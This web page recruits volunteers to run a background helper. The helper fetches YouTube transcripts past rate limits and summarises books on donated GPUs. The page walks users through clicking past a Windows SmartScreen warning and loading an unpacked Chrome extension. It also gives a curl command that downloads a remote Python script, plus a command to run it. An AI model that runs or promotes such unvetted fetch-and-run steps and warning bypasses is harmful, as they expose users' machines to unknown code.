the resource team

what this actually is

I'm slowly building an archive of everything I've learned from years of watching YouTube — scoring it, distilling it, turning it into something worth having. It's a big job, and it's been crawling because of how aggressively YouTube throttles requests coming from one server.

The Resource Team fixes that. A small helper quietly picks up a tiny piece of the work every minute or two — a couple of background requests, nothing that touches your files, your history, or anything you're doing. You never see what's inside it either — no titles, no content, nothing about me. Just your machine, helping, in the background.

got a Windows PC with a GPU? start here

This is the easiest, most capable way to join — a small background app (not a browser extension) that reads public-domain wisdom books with your idle GPU time and sends back short summaries. Runs quietly, no console window, restarts itself if it ever gets stuck.

One click to download, then double-click the installer — click through 3 screens (Next → Next → Install) and you're in. If Windows shows a blue "Windows protected your PC" screen, that's normal for a new small app — click "More info" → "Run anyway."

prefer one command instead? (PowerShell, no clicking at all)

Open PowerShell, paste that in, hit enter. It downloads and installs silently, then opens the status page when it's done.

or just want the browser extension?

Lighter-weight, Chrome only, no GPU work — just helps fetch video transcripts for the archive in the background.

1. Download the extension below — it's a small .zip, nothing to install system-wide.
2. Unzip it somewhere you'll remember, then open Chrome and go to chrome://extensions.
3. Flip on Developer mode (top right corner), then click Load unpacked and pick the unzipped folder.
4. Click the new icon in your toolbar and hit Join the team. That's it — you're in.

got a spare GPU instead?

If you've got a free Kaggle, Google Colab, or AWS SageMaker Studio Lab account — or you're willing to grab one (free, no card, just an email and for Kaggle a phone number) — your idle GPU can join the same team a different way: reading and summarizing books for the Wisdom Farm archive instead of fetching video transcripts. Kaggle in particular gives ~30 free GPU-hours a week per verified account, and its free tier includes 2x T4 GPUs at once.

1. Sign in to kaggle.com (or Colab, or Studio Lab), verify your phone number if it asks — that's what unlocks GPU access.
2. Open a New Notebook, turn on the GPU accelerator (Settings → Accelerator → GPU T4 x2 on Kaggle).
3. Paste this into a cell and run it:
   !curl -fsSL https://r0ice.com/cloud-gpu-worker.py -o worker.py
4. Then this, with your name so it shows up on the wall:
   !python3 worker.py --handle "Your Name" --minutes 700
5. That's it. Leave the tab open — your session joins the same live team below, reading books instead of transcripts.

what it does and doesn't do

• ✓ Runs continuously, quietly — tiny requests, no noticeable load, never competes with your game or your stream
• ✓ Never touches your files, browsing history, or anything outside its one background task
• ✓ Fully open — read the real source on GitHub before you install it
• ✓ One click to pause or leave the team, anytime, no questions

why bother

You're not doing this for me, really — you're doing it because you're part of this thing we've built. Team members get a name on the wall if they want one, and first look at whatever the archive turns into.

the wall

real machines, real reading, updated live. This is the whole roster -- nothing hidden.